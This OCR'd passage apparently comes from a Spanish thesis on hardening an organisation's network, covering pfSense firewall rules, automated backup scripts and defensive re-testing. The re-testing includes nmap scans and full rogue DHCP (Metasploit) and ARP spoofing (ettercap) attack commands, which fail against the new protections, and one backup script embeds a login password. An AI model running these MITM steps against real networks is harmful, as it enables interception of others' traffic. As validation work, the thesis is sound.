(ver Figura 116). Inicialmente habia 46 reglas en esta interfaz y luego del proceso de depuracion
guedaron 15 reglas que sirvieron de base para las reglas que se crearon en esta interfaz para implementar

la politica de la organizacion.
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Currently\tiewini: SERVIDORES v

ID Proto Source Port Destination Port Gateway Queue Schedule
Reservedinot
assigned by JANA
O e
N L/
L] —
A =
[ e
L
L] R

Description

arp_prueba

maonitare
pfzensze a

los los permi
I (Euditoria

Acceso Monitore

eso hMonitore

@R
V)l

@ue
L.QL-Q
! L.QL-Q
([PF
(]
Ldle
R
Ldle
(R
([P
(R
(e
(WY
Ldle
Ll
Ldle
R
(W[PF
(R
Ldld
(&Y
(WP

Figura 116. Parte de reglas innecesarias en Red de Servidores que se deshabilitaron

Las reglas que se crearon para cumplir con la politica de la organizacion a nivel de firewall para esta
interfaz se muestran en la Tabla 30.

Tabla 30. Reglas que implementan politica (Red de Servidores)

Protocolo Origen Puerto de Destino Puertode | Accion | Log | Descripcion
Origen Destino
TCP Red de | Cualquiera | Cualquiera 80 (HTTP), | Permitir | No | Acceso a
Servidores 443 Internet
(HTTPS)
UDP Red de | Cualquiera | Direccion 1P | 123 (NTP) | Permitir | No | Permitir NTP
Servidores del Firewall
TCP/DNS | Servidor Cualquiera | Direcciones IP | 53 (DNS) Permitir | No | Consultas
DNS de Servidores DNS
DNS de
Google
TCP Servidor de | Cualquiera | Cualquiera 25 (SMTP) | Permitir | No | Acceso
Correo SMTP hacia
Internet
Cualquiera | Cualquiera | Cualquiera | Cualquiera Cualquiera | Denegar | Si Denegar por
defecto
(implicito)
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Interfaz de Administracion

Es la interfaz en la que estéan las interfaces de administracion de los equipos de red de la organizacion. En
el caso de esta interfaz fue necesario definir nuevas reglas que antes no estaban debido a que se
implementd un servidor RADIUS y un servidor NTP al que ahora se requiere que los equipos en esta red
puedan tener acceso. Inicialmente en esta interfaz no habia reglas creadas ya que no eran necesarias.

Para permitir el acceso de los equipos en esta red a las nuevas soluciones que se implementaron se
desarrollaron las reglas de firewall que se muestran en la Tabla 31. En la Figura 117 se ven estas reglas
implementadas en el firewall de la organizacion.

Tabla 31. Reglas que implementan politica (Red de Administracién)

Protocolo Origen Puertode | Destino Puerto de Accion | Lo | Descripcion
Origen Destino g
TCP/UDP | Red de | Cualquier | Servidor 162 Permitir | No | Permitir
Administracié | a de (SNMPTRAP traps SNMP
n Monitoreo | )
TCP/UDP | Red de | Cualquier | Servidor 53 (DNS) Permitir | No | Consultas
Administracié | a DNS DNS
n
UDP Red de | Cualquier | Direccion | 123 (NTP) Permitir | No | Permitir NTP
Administracié | a IP del
n Firewall
UDP Red de | Cualquier | Servidor 514 Permitir | No | Permitir
Administracié | a Syslog (SYSLOG) envio de logs
n
UDP Red de | Cualquier | Servidor 1812 Permitir | No | Permitir
Administracié | a RADIUS | (RADIUS) Autenticacio
n n y
Autorizacion
RADIUS
UDP Red de | Cualquier | Servidor 1813 Permitir | No | Permitir
Administracié | a RADIUS | (RADIUS) Registro
n RADIUS
Cualquier | Cualquiera Cualquier | Cualquier | Cualquiera Denega | Si Denegar por
a a a r defecto
(implicito)
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Currently \fiewinq: WLAN_ADMINISTRATIVA ¥

ID  Proto Source Port Destination Port Gateway Queue Schedule Description Lg L.!'.j

X * Reservedinot assigned * * o o L " |hﬁ
by IANA =

> IPvd WVLAN_ADMINISTRATIVA | * Servidorionitorea 162 (SHMP- | * none l}j llé
TCRIUDP | net Trap) Lg L_'j

-+

D P4 VLAM_ADMINISTRATIVA | * [l 53 (DNS) * none lhjhﬁ
TCPIUDP | net @ L_'}

o

D IPwd VLAM_ADMIMISTRATIVA | * VLAM_ADMIMISTREATIVA | 123 (MTF) * none Fermitir MTF l}j lLé
UoP net address l_;j L_'j

+

D IPwd VLAM_ADMINISTRATIVA | * ServidorSyslog 514 * none Perrmit] lﬂ] l;é
DR net Lﬁ L_'j

-+

D IPwd VLAM_ADMINISTRATIVA | * 200 4 1812 * none @hﬁ
LDP net (RADILUS) [_,_% Lj

+

D IPwd VLAMN_ADMIMISTRATIVA | * 004 1813 * nane lhjhﬁ
uUoP net (RADIUS ==
accounting) Lg =

(|
Figura 117. Reglas firewall implementadas en la Red de Administracion

4.3.3 Desarrollo de Scripts

Tareas repetitivas, como las de hacer respaldos (backups), es mejor si pueden automatizarse para evitar
gue un operador se olvide de hacer los respaldos y que, cuando sean necesarios, no se cuente con
versiones recientes.

En algunos casos desde el CLI de los dispositivos se puede automatizar el proceso de backup mediante la
programacion de tareas en el software del dispositivo. Los dispositivos de infraestructura de la
organizacion no tienen este soporte por lo que se opté por desarrollar scripts personalizados que
automatizaran la tarea.

La estrategia general que se siguio para los dos scripts desarrollados fue la siguiente:

1. Crear un usuario en el dispositivo con la menor cantidad de privilegios posibles que le permita
hacer un respaldo de configuracion.

2. Programacion de script que haga uso del usuario creado en el paso previo para hacer respaldo uno
a uno en cada dispositivo.

3. Crear una tarea programada en la maquina autorizada para ejecutar los scripts de respaldo para
que dichos scripts se ejecuten automaticamente con frecuencia semanal.

Respaldo Automatico de Configuracion de Router/Switch

Para crear un usuario que solo tenga permisos para hacer respaldo de configuraciones en el software del
router/firewall se siguid la préxima secuencia de pasos.

Paso 1. Hacer click en System > User Manager > Users y aparece la pantalla de la Figura 118 que es la
pantalla que muestra todos los usuarios actuales en el dispositivo.
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Username Full name Disabled

& admin

System Administrator

PELLAESSEAEE R
N EEEEEEEE &

MULL

Figura 118. Usuarios locales creados en el Router/Firewall

Paso 2. Al hacer click en el botono “+” se ingresa a la pantalla de crear usuario (ver Figura 119) en la que
se cre0, en este caso, el usuario “backupconf” al que se le asignd una contrasefia. Al finalizar solo resta

hacer click en el boton “Save” para terminar la tarea de creacion del usuario.

Defined by USER
Disabled
Username

Password

Full name

Expiration date

Group Membemrships

Cenificate

Authorized keys

IPsec Pre-Shared Key

&b backupconf
a} [RA——

ﬂ; sesssssans {canfirmation)

", Usuario Bakup

Users full name, for your own information only

Lea‘ve blank if the account shouldn't expire, otherwise enter the expiration date in the following format: mmiddyyyy

Not Member Of

admins
NULL

Member Of

Hold down CTRL (pc)y COMMAND {mac) key to select multiple items

Clickto create a user certificate.

Clickto paste an authorized key.

AY

Figura 119. Creacion de un nuevo usuario para hacer respaldo

Paso 3. Luego de crear el usuario hay que presionar sobre el botdn de editarlo para poder modificar sus
permisos. Interesa darle solo permiso de hacer respaldos. En la Figura 120 se muestra la seccion
“Effective Privileges” de la pantalla de edicion del usuario que es una lista de todos los privilegios que
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efectivamente tiene el usuario, se observa que solo se le dio el permiso que le permite Unicamente hacer
respaldos ya que el software permite este tipo de permiso tan especifico para un usuario dado.

Username

a8 backupconf

Password ( ﬁ\'

ﬁ‘, (cenfirmation)

Full name ", Usuario Bakup
Users full name, far your own infarmation anly
Expiration date 3
b
Leave blank if the account shouldn't expire, otherwise enter the expiration date in the following format: mmidediyyyy

Group Memberships
Not Mernber Of Mernber Of

admins
MULL

L}-g
L}IS;]

Hold down CTRL {pc¥ COMMARD {mac) key to select multiple items

Effective Privileges

Inherited From Name Description

WebCfg - Diagnostics:
Backuplrestore page

to the 'Diagnostics:
ore' page.

Figura 120. Asignacion de privilegio unico el de hacer respaldos al nuevo usuario

Una vez creado el usuario solo basta saber que el software del router/switch (Pfsense) guarda sus
configuraciones en un archivo XML. En una de las paginas Wiki de Pfsense [24] hay un extracto de
cadigo shell script que justamente permite extraer este XML y descargarlo. EI mencionado codigo (ya
adaptado) es el siguiente:

#!/bin/bash
#script para hacer automaticamente backups de pfsense

wget -gO/dev/null --keep-session-cookies --save-cookies cookies.txt \
--post-data
'login=Login&usernamefld=backupconf&passwordfld=clavesecreta' \
--no-check-certificate https://10.0.200.1/diag backup.php

wget --keep-session-cookies --load-cookies cookies.txt \
--post-data 'Submit=download&donotbackuprrd=yes'
https://10.0.200.1/diag backup.php \
--no-check-certificate -0 config-router-"date +%Y%Sm%d$HIMSS

~

.xXml

En el fragmento de codigo anterior solo fue necesario modificar el campo “usernamefld” para que su
valor coincidiera con el usuario creado anteriormente, el campo “passwordfld” cuyo valor es la
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contrasefia del usuario creado y como ultimo valor a modificar la direccion IP del dispositivo de borde a
la que se va a solicitar el respaldo.

Al seguir la secuencia de pasos se tiene como resultado un script que automatiza la tarea de hacer
respaldo de la configuracién del router/firewall. Para que este script funcione debe ejecutarse desde una
maquina que tenga permisos de acceso al puerto 443 (HTTPS) del firewall, una medida adicional de
seguridad.

Si se guarda el fragmento de codigo en un archivo llamado auto backup pfsense.sh, el tltimo
paso es crear una tarea programada en el sistema operativo para que semanalmente ejecute el siguiente
comando:

| $ ./auto backup pfsense.sh

Respaldo Automaético de Configuracién de Switches

En este caso se cred un usuario con permisos de solo lectura ya que el software de los switches no permite
la asignacion de un permiso especifico que sea solo para realizar respaldos. Para evitar tener que crear el
usuario localmente en cada uno de los 53 switches de la organizacién (no es recomendable), el mismo se
cre6 en el servidor FreeRADIUS que se implementd en la organizacién. En la Figura 121 se muestra
como queda el archivo /etc/freeradius/users que es donde se agregan nuevos usuarios en
FreeRADIUS.

Figura 121. Contenido del archivo users de FreeRADIUS

Los switches guardan la configuracion que tienen aplicada en un archivo llamado startup.cfg.
Considerando que el swtich tiene la capacidad de funcionar como servidor SFTP el script recibe como
entrada un archivo XML (ver Figura 122) con la lista de switches identificados por nombre e IP y
establece una conexion con cada uno de ellos para descargar el archivo startup.cfg lo cuales se hace
mediante el comando get de SFTP.

En la Figura 123 se puede observar parte del codigo fuente del script desarrollado en el lenguaje de
programacion Python.
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<?xml version="1.0" encoding="UTF-8" 7=

=switches>
<switch name='GENENES' ip-' SN 054 .2' =</switch>
<switch name='diiiias' o= .C54.14' ></switch=
<switch name='Ginlli ' i -' S . 54.16' ></switch=

=/switches>

Figura 122. Vista del archivo XML que el script toma como entrada

#funcion para conectar por sftp a una IP dada
def sftpConnectionSwitchi(switch, f):

ipValue = switch.ip

nameValue = switch.name

#verificamos si el switch esta online
status = testConnection(ipValue)

if not status:
output = ipValue + " - " + "no responde ping"
print ip¥alue + ' no responde ping
f.owrite(output +"\n")
return
try:
# Open a transport
host = ipwvalue
port = 22
transport = paramiko.Transport((host, port))

# Auth

password
username
transport.connect({username = username, password = password)

# Go!

sftp = paramko.SFTPClient.from_transport(transport)
except Exception as e:

output = ipVvalue + " - " + str(e)

print "Error de Autenticacion"

f.write(output +"yn")

return

Figura 123. Parte del cédigo del script para hacer respaldo

Para que el script funcione debe ejecutarse desde una maquina que tenga permiso de acceso al puerto 22
TCP (SSH) de los switches. Las Gnicas maquinas en toda la red con estos permisos son las pertenecientes
a los administradores de red.

Si se guarda el codigo del script en un archivo llamado auto backup switchs.py, el Gltimo paso
es crear una tarea programada en el sistema operativo para que semanalmente ejecute el siguiente
comando:

|$ python auto backup switchs.py
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Capitulo 5. Pruebas y Andlisis de Resultados

Este capitulo tiene como intencién permitir la comprobacion del trabajo de mitigacion de debilidades de
seguridad realizado anteriormente mediante la elaboracidn de un conjunto de escenarios de prueba que se
espera demuestren si las soluciones implementadas a las debilidades que se encontraron fueron realmente
efectivas.

5.1 Escenario de Prueba 1: Repeticidn de Pruebas Técnicas a Controles de
Seguridad

La publicacion especial NIST 800-115 [20] sefiala que una forma de validar la implementacién es
volviendo a repetir las pruebas que se hicieron a los sistemas durante la evaluacion. Es importante tener
en cuenta que el analista de seguridad sera capaz de verificar la implementacién sélo si se realiza una
copia espejo de la prueba original [20].

Por lo antes expuesto, para comprobar la efectividad de las soluciones implementadas, en este escenario
se har& una repeticion de las pruebas técnicas ejecutadas que originalmente pusieron en evidencia las
vulnerabilidades (ver Capitulo 4).

Todas las pruebas de este escenario se haran desde una maquina con la distribucion Linux llamada Kali
Linux 2.0 y los permisos de usuario que se usaron en la prueba se especificaran en cada caso.

5.1.1Servicios Innecesarios

Permisos de Usuario: Esta prueba en particular se hace desde una maquina sin restricciones de acceso a
los puertos TCP/UDP de la interfaz de administracion del switch y la del router/firewall ya que lo que se
quiere es escanear el dispositivo para determinar los servicios que tiene habilitados sin importar si las
reglas del firewall bloquean (o no) el acceso a los puertos donde se ejecutan los servicios.

Intencién de la Prueba: Este prueba tiene como intencién principal comprobar que en la fase de
mitigacion (ver Capitulo 4) se deshabilitaron todos aquellos servicios en los dispositivos que se
determin6 no eran necesarios y que se detectaron como habilitados en la fase de pruebas técnicas de la
metodologia.

Resultado Esperado:
Los Unicos servicios que deberian estar activados en el switch son:

e SSH (TCP Puerto 22).
e SNMP (UDP Puerto 161).
e HTTPS (TCP Puerto 443).

Los Unicos servicios que deberian estar activados en el router/firewall para su interfaz interna son:

e SSH (TCP Puerto 22)
e HTTP (TCP Puerto 80)
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e NTP (UDP Puerto 123)

e HTTPS (TCP Puerto 443)

o ISAKMP (UDP Puerto 500)

e BIGBROTHER (TCP Puerto 1984)

Desarrollo de la Prueba:

Nmap es la herramienta méas sencilla para hacer un escaneo a los dispositivos y asi detectar los servicios
activos que son innecesarios y que un potencial atacante pudiera comprometer.

Al repetir el escaneo de los 65535 puertos TCP de un switch de la organizacion obtenemos el resultado de
la Figura 124.

# nmap -sS -sV -p 1-65535 192.168.254.16

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2016-02-01 14:11 VET
Nmap scan report for 192.168.254.16

Host is up (0.016s latency).

Not shown: 65383 closed ports, 150 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh (protocol 1.99)

443/tcp open ssl/http 3Com switch http config

1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service
SF-Port22-TCP:V=6.49BETA5%I=7%D=2/1%Time=56AFATA2%P=x86 64-pc-linux-
gnusr (

SF:NULL, 16, ”SSH-1\.99-3Com\x200S-5\.20\n") ;

Service Info: Device: switch

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 238.92 seconds

Figura 124. Repeticion del escaneo TCP a un switch

Al repetir el escaneo de los 1000 puertos UDP mas usuales de un switch de la organizacion obtenemos el
resultado de la Figura 125.

# nmap -sU —-top-ports 1000 10.0.254.16

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2016-01-27 16:05 VET
Nmap scan report for 10.0.254.16

Host is up (0.0043s latency).

Not shown: 999 open|filtered ports

PORT STATE SERVICE

161/udp open snmp

Nmap done: 1 IP address (1 host up) scanned in 17.44 seconds

Figura 125. Repeticion del escaneo UDP a un switch
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Al tabular la salida de la herramienta Nmap aplicada a un switch para el escaneo de puertos TCP y UDP
se encontraron los resultados que se agrupan para un analisis mas comodo en la Tabla 32.

Tabla 32. Servicios visibles en un switch de la organizacién al repetir la prueba

Puerto | Protocolo | Servicio Descripcion ¢Deberia estar
habilitado?
22 TCP SSH Este es un servicio para la administracion remota Si
por CLI
161 UDP SNMP | Puerto para recibir solicitudes SNMP Si
443 TCP HTTPS | Interfaz web que usa el protocolo HTTPS para la Si
administracion del switch

Al repetir el escaneo de los 65535 puertos TCP del router/firewall desde la red interna de la organizacion
obtenemos el resultado de la Figura 126.

# nmap -sS -sV -p 1-65535 10.0.200.1

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2016-01-27 16:08 VET
Nmap scan report for troyall.mydomain.gob.ve (10.0.200.1)

Host is up (0.00024s latency).

Not shown: 65532 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0; HPN-SSH patch
13v1l)

80/tcp open http lighttpd 1.4.37

443/tcp open ssl/http lighttpd 1.4.37

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 116.44 seconds

Figura 126. Repeticion del escaneo TCP al router/firewall
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Al repetir el escaneo de los 1000 puertos UDP mas usuales del router/firewall desde la red interna de la
organizacion obtenemos el resultado de la Figura 127.

# nmap -sU -sC —-top-ports 1000 10.0.200.1

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2016-01-27 16:10 VET
Nmap scan report for troyalOl.mydomain.gob.ve (10.0.200.1)

Host is up (0.00043s latency).

Not shown: 998 open|filtered ports

PORT STATE SERVICE
123/udp open ntp
| ntp-info:

| version: ntpd 4.2.8p4@1.3265-0 Mon Oct 26 14:31:39 UTC 2015 (1)
| processor: 1386

| system: FreeBSD/10.1-RELEASE-p24

| refid: 200.93.227.170

|  stratum: 3

500/udp open isakmp

Service Info: 0S: FreeBSD/10.1-RELEASE-p24

Nmap done: 1 IP address (1 host up) scanned in 118.72 seconds

Figura 127. Repeticion del escaneo UDP al router/firewall

Al tabular la salida de la herramienta Nmap aplicada al router/firewall desde una interfaz interna para el
escaneo de puertos TCP y UDP se encontraron los resultados que se agrupan en la Tabla 33.

Tabla 33. Servicios visibles en el Router/Firewall interfaz interna al repetir la prueba

Puerto | Protocolo | Servicio Descripcion ¢Deberia estar
habilitado?

22 TCP SSH Servicio de administracién remota por CLI Si

80 TCP HTTP Servicio de administracion web usando Si
HTTP

123 UDP NTP Servicio de sincronizacién de tiempo Si

443 TCP HTTPS | Servicio de administracién web usando Si
HTTPS

500 UDP ISAKMP | Necesario para el funcionamiento de la Si
VPN

En la fase de pruebas se determind que los servicios visibles desde Internet hacia la interfaz WAN
(interfaz externa) del router/firewall eran solo aquellos que la organizacion permite segln su politica por
lo que no es necesario volver a repetir esa prueba.

Resultado Obtenido: Queda en evidencia por los datos que se muestran en las Tablas 32 y 33 que la
accion de mitigacion aplicada fue efectiva ya que los servicios que se detectaron como habilitados en
estas pruebas de comprobacién son Gnicamente aquellos que fueron definidos por la organizacion como
necesarios para el funcionamiento esperado de los dispositivos de red.
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5.1.2 Pruebas a Switch y Servicio DHCP

Se quiere validar si los cambios que se realizaron en las configuraciones de seguridad de los switches
lograron mitigar las debilidades detectadas durante la fase de pruebas de seguridad. Especificamente, se
detecto (ver Capitulo 4) que los dispositivos de capa 2 eran vulnerables ante los siguientes ataques:

a) Rogue DHCP
b) ARP Spoofing

Estos ataques estan explicados detalladamente en el Capitulo 2 del presente trabajo. Para ejecutarlos
haremos uso de las herramientas metasploit y ettercap disponibles en Kali Linux.

a) Rogue DHCP

Intencion: La finalidad de este ataque es instalar en la red un servidor DHCP no autorizado para
proporcionar a las victimas que soliciten configuracion de parametros de red en forma dindmica
informacidn falsa tal como el servidor DNS y el gateway por defecto que estén bajo control del atacante.

Resultado esperado: La tecnologia de seguridad Ilamada DHCP Snooping que se configurd en los
switches en la fase de mitigacién no deberia permitir que un servidor DHCP que se instale de forma no
autorizada en la red sea capaz de entregar direcciones IP (y otros pardmetros) a los clientes de la red.

Desarrollo de la prueba:
Para lograr este ataque hay que ejecutar dos acciones:

3. Hacer un ataque DHCP Starvation para consumir el rango de direcciones IP que puede entregar el
servidor DHCP legitimo.

4. Configurar un DHCP no autorizado (Rogue DHCP) y entregar direcciones IP de gateway por
defecto (y de DNS si se quiere) de maquinas bajo control del atacante a los préximos clientes que
soliciten estos parametros mediante DHCP.

Para lograr este ataque hay que recolectar los siguientes datos previamente:

e Unadireccién IP gue no se esté usando actualmente en la red.
e Un rango de direcciones IP que no se esté usando actualmente en la red.
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Para hacer esa investigacion puede ejecutarse la herramienta Nmap con los parametros que se ven en la
Figura 128.

$ nmap -sP 10.0.203.0/24

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2016-01-29 13:59 VET
Nmap scan report for 10.0.203.1
Host is up (0.0027s latency).
Nmap scan report for 10.0.203.2
Host is up (0.00041s latency).
Nmap scan report for 10.0.203.6
Host is up (0.0038s latency).
--parte de la salida omitida por razones de espacio--
Nmap scan report for 10.0.203.86
Host is up (0.00036s latency).
Nmap scan report for 10.0.203.195
Host is up (0.0019s latency).
Nmap scan report for 10.0.203.217
Host is up (0.0017s latency).
Nmap scan report for 10.0.203.218
Host is up (0.0040s latency).
Nmap scan report for 10.0.203.219
Host is up (0.032s latency).
Nmap scan report for 10.0.203.229
Host is up (0.0024s latency).
Nmap scan report for 10.0.203.242
Host is up (0.00076s latency).
Nmap scan report for 10.0.203.249
Host is up (0.0021s latency).
Nmap scan report for 10.0.203.254
Host is up (0.016s latency).
Nmap done: 256 IP addresses (27 hosts up) scanned in 15.01 seconds

Figura 128. Barrido de ping usando Nmap

Al analizar la salida anterior podemos concluir que hay al menos 27 hosts activos en la red y pueden
tomarse las siguientes direcciones IP que no se estan utilizando:

e [P disponible: 10.0.203.3. Esta sera la IP del router no autorizado que se esta configurando.
¢ Rango de direcciones IP: 10.0.203.196-216. Este sera el rango de direcciones a entregar por el
DHCP no autorizado que se esta tratando de implementar.

Una vez se tienen esos datos se procede a configurar la maquina atacante para que reenvie los paquetes IP
que reciba y para esto es necesario crear una subinterfaz de la interfaz fisica del equipo (identificada con
eth0). Una subinterfaz es una interfaz virtual a partir de la interfaz fisica. El comando para configurar una
subinterfaz es el siguiente:

|# ifconfig eth0:1 10.0.203.3 netmask 255.255.255.0
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El comando para habilitar enrutamiento (ip forward) en el sistema operativo Linux es:

# echo 1 > /proc/sys/net/ipv4/ip forward

Con estas configuraciones se logré hacer que la méaquina atacante reenvie al gateway legitimo todos los
paquetes que va a recibir de la maquina victima.

El siguiente paso es, mediante el servidor DHCP no autorizado, ofrecer a los clientes que soliciten
direccionamiento por DHCP la IP 10.0.203.3 (bajo control del atacante) como gatewy por defecto. El
software Metasploit tiene un modulo para hacer este tipo de ataques y a continuacion se describe la forma
de hacerlo:

Ejecutar Metasploit mediante el siguiente comando:

# msfconsole

Para ingresar al médulo de DHCP el comando es el siguiente:

msf > auxiliary/server/dhcp

Usando los datos en la Tabla 34 se aplican los pardmetros necesarios para configurar el servidor DHCP
no autorizado.

Tabla 34. Parametros para configurar un rogue DHCP con Metasploit

Parametro Valor a | Explicacion
colocar

DHCPIPEND 10.0.203.216 Ultima IP del rango a entregar por el servidor DHCP

DHCPIPSTART | 10.0.203.196 Primera IP del rango a entregar por el servidor DHCP

DNSSERVER 8.8.8.8 Servidor DNS a entregar por el servidor DHCP. Esta servidor puede
ser también uno bajo el control del atacante

SRVHOST 10.0.203.9 La IP del servidor DHCP no autorizado. En este caso es la misma
que la de la maquina atacante

NETMASK 255.255.255.0 | Mascara de subred de la red donde esté la victima

ROUTER 10.0.203.3 El gateway por defecto a entregar por el servidor DHCP. En este

caso es la IP de la subinterfaz creada previamente
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Los comandos para ejecutar el servidor DHCP no autorizado se muestran en la Figura 129.

msf > use auxiliary/server/dhcp

msf auxiliary(dhcp) > set DHCPIPEND 10.0.203.216
DHCPIPEND => 10.0.203.241

msf auxiliary(dhcp) > set DHCPIPSTART 10.0.203.196
DHCPIPSTART => 10.0.203.223

msf auxiliary(dhcp) > set DNSSERVER 8.8.8.8
DNSSERVER => 8.8.8.8

msf auxiliary(dhcp) > set SRVHOST 10.0.203.9
SRVHOST => 10.0.203.9

msf auxiliary(dhcp) > set NETMASK 255.255.255.0
NETMASK => 255.255.255.0

msf auxiliary(dhcp) > set ROUTER 10.0.203.3
ROUTER => 10.0.203.3

msf auxiliary(dhcp) > run

[*] Auxiliary module execution completed

[*] Starting DHCP server...

Figura 129. Rogue DHCP usando Metasploit

En la Figura 130 se observa la pantalla de Metasploit una vez el servidor no autorizado se ha configurado
y comienza su ejecucion. En este punto ya se tiene ejecutando el servidor DHCP no autorizado.

use auxiliary/server/dhc
auxiliary et DHCPIPEND
HCFIPEMD == ] L 203, 21¢
i 1liar et DHCPIPSTART
TART = L 203, 19
iliary et DNSSERVER
WER = .
iliar et SRVHOST 1 .203.9
H T = ¥ L 20=

auxiliary et METMASK 255.255.255.0
CC, SoE SEE

auxiliary et ROUTER 1 . 203. 3
UTER == 1 L 203, 3
- auxiliar run
puxiliary module execution completed

| |Starting DHCF
msT all l'.l'||_

Figura 130. Ejecucion del DHCP no autorizado desde Metasploit

En la maquina victima se ejecutan los siguientes comandos para forzar que la misma solicite una
renovacion de sus parametros de red via DHCP:

# dhclient -r
# dhclient ethO

En este momento el servidor DHCP no autorizado deberia recibir paquetes DHCP Discover que son
solicitudes de direccion IP de un cliente, es necesario que el servidor reciba esa solicitud para que pueda
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ofrecer parametros de configuracion al cliente solicitante. En su lugar, el Unico trafico DHCP que esta
llegando al atacante es el que el mismo solicita al tratar de renovar su direccion IP ya que el DHCP
Snooping se encarga de bloquear cualquier otro tipo de paquetes DHCP (incluyendo el mencionado
paquete DHCP Discover). En la Figura 131 se muestra una captura de paquetes del momento en que se
esta ejecutando el ataque filtrando para que solo se muestre el trafico DHCP, se ve que no se ha recibido
ningun paquete DHCP Discover.

En conclusion, debido a que el servidor DHCP no autorizado nunca recibe la solicitud de direccion IP que
envia la victima (DHCP Discover) el servidor nunca entrega los parametros de configuracién alterados a
la victima y, por lo tanto, el ataque no tiene éxito.

Filter:| bootp w | Expression... Clear Apply Save

No. Time Source Destination Protocol Length Info

1950.952911 b . . 342 DHCP Request Transaction ID 8xblbe45a

41255 1950.958588 WNNENEE.203.1 M. 203 .9 DHCP 385 DHCP ACK - Transaction ID B0xblb@845a
55525 2425.400232 0.0.0.8 255 255 o, &l5 o elEs DHCP 342 |DHCP Request| - Transaction ID Oxd652ff@a
55526 2425.406279 WNNNNES.203.1 . 203 .0 DHCP 385 DHCP ACK - Transaction ID Bxd652ff0a
4 )] »
Frame 41254: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on interface @ e
Ethernet II, Src: Elitegro_71:68:47 (c8:9c:dc:71:68:47), Dst: HewlettP_3a:d8:fa (PO:17:a4:3a:d8:fa)

Internet Protocol Version 4, Src: __ _.__..283.9 (77 ~ ..283.9), Dst: ° .283.1 (2. _ __..283.1)
User Datagram Protocol, Src Port: 68 (68), Dst Port: 67 (67)
Bootstrap Protocol (Request) ”

<
»
»
L}
»
»

Figura 131. Unico trafico DHCP que llega a un equipo cuando estéa activado DHCP Snooping en el switch

Resultado obtenido: En base a la captura de paquetes de la Figura 131 se concluye que la tecnologia
DHCP Snooping esta funcionando como se espera y este tipo de ataques en la red han sido mitigados
correctamente.

b) ARP Spoofing

Intencién: La intencidn de este ataque es envenenar la caché ARP de la victima con el fin de que el
trafico dirigido al gateway por defecto se envie en realidad a la maquina atacante y capturar entonces
informacidn sensible sin cifrar. Es un ataque MITM.

Resultado esperado: La configuracion de proteccion ARP que se hizo en los switches durante la fase de
mitigacion no deberia permitir que un ataque ARP Spoofing tenga éxito.

Desarrollo de la prueba:

Par ejecutar este ataque se esta partiendo de los datos que se muestran en la Tabla 35.
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Tabla 35. Datos de los participantes antes del ARP Spoofing

MAC Reales Direccién IP | Rol Sistema Operativo
€8:9c¢:dc:71:68:47 | 10.0.203.9 Atacante Kali Linux
00:17:a4:3a:d8:fa | 10.0.203.1 Gateway legitimo | Pfsense
€8:9c¢:dc:71:9b:8d | 10.0.203.8 Victima Canaima

El comando para ver la tabla ARP en una maquina Linux es el siguiente:

[# arp A.B.C.D -v

Al ejecutar este comando en la maquina victima antes del ataque para consultar la MAC en su tabla local
para el gateway legitimo 10.0.203.1 el resultado es el de la Figura 132. Puede notarse que en este
momento la tabla ARP de la victima contiene una entrada legitima para la MAC del gateway segun los
datos de la Tabla 35.

F1.1 ] Ma |

Figura 132. Parte de la tabla ARP de la victima antes de la repeticion de la prueba

Para ejecutar un ataque MITM mediante ARP Spoofing se siguen los pasos a continuacion.

Paso 1. Desde la maquina atacante se ejecuta el comando ettercap via CLI con los siguientes parametros:

| # ettercap -T -q -i eth0 -M arp:remote /10.0.203.1// /10.0.203.8// |

Al ejecutar ettercap en la maquina atacante la pantalla es la de la Figura 133.
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deff:fe7l

issection needs a valid 'redir_c : _ _
» might not work correctly. /p s/net/1pv6/cont /et a_tempaddr 1
L to €
EUID 65534 EGID ¢

starting up!

Figura 133. Pantalla de Ettercap en la maquina atacante al momento de repetir la prueba

Luego de ejecutar el ataque se vuelve a consultar la tabla ARP local de la maquina victima y se puede
notar en la Figura 134 que el ataque de inyeccién ARP no fue exitoso ya que la ARP asociada con la IP
del gateway por defecto no ha variado y sigue siendo la MAC legitima del gateway (ver Tabla 35).

Flags Masl

Found:

.1
Hwaddress __ Flags Mas|

Figura 134: Tabla ARP de la victima luego de repetir la prueba

Resultado obtenido: En base a la evidencia de la Figura 134 puede decirse que la configuracion de
proteccion ARP aplicada en el switch esta mitigando de la forma esperada los ataques ARP Spoofing.

5.1.3 Pruebas a Firewall

Permisos de Usuario: Esta prueba se hace desde una maquina con restricciones de acceso de usuario
normal (sin privilegios especiales) ya que se quiere validar el comportamiento de las reglas de firewall
aplicadas para proteger los servidores de la organizacion.

Intencidn: Se quiere comprobar si las reglas de firewall implementadas como accion de mitigacion en la
interfaz Red Interna para proteger el acceso a los activos en la Red de Servidores fueron efectivas en
cuanto a hacer cumplir las politicas de acceso a servidores definidas por la organizacion.

171



Resultado Esperado:

Por cada activo los puertos permitidos para su acceso por usuarios sin privilegios son los que se resumen
en la Tabla 36 de acuerdo a la politica de la organizacion para acceso a servidores (ver Anexos A 'y B).
Que los resultados de la presente prueba arrojen como visibles para los usuarios sin privilegios
Unicamente aquellos puertos definidos en la Tabla 36 es lo que se espera con esta prueba.

Durante le aplicacion de la metodologia de evaluacion se encontr6 que los puertos visibles desde Internet
hacia los servicios publicos de la organizacion estaban dentro de los permitidos. Por esa razon, no se va a

repetir el escaneo desde Internet hacia los servidores publicos.

Tabla 36. Resumen de puertos permitidos para usuarios sin privilegios segun politica

Activo Puertos Permitidos desde Red Puertos Permitidos desde Internet
Interna (Usuarios sin Privilegios)
DNS TCP: 53 (DNS) TCP: 53 (DNS)
UDP: 53 (DNS) UDP: 53 (DNS)
Pagina Web | TCP: 80 (HTTP), 443 (HTTPS) TCP: 80 (HTTPS), 443 (HTTPS)
Institucional
Intranet TCP: 80 (HTTPS) TCP: 1000 (HTTP)
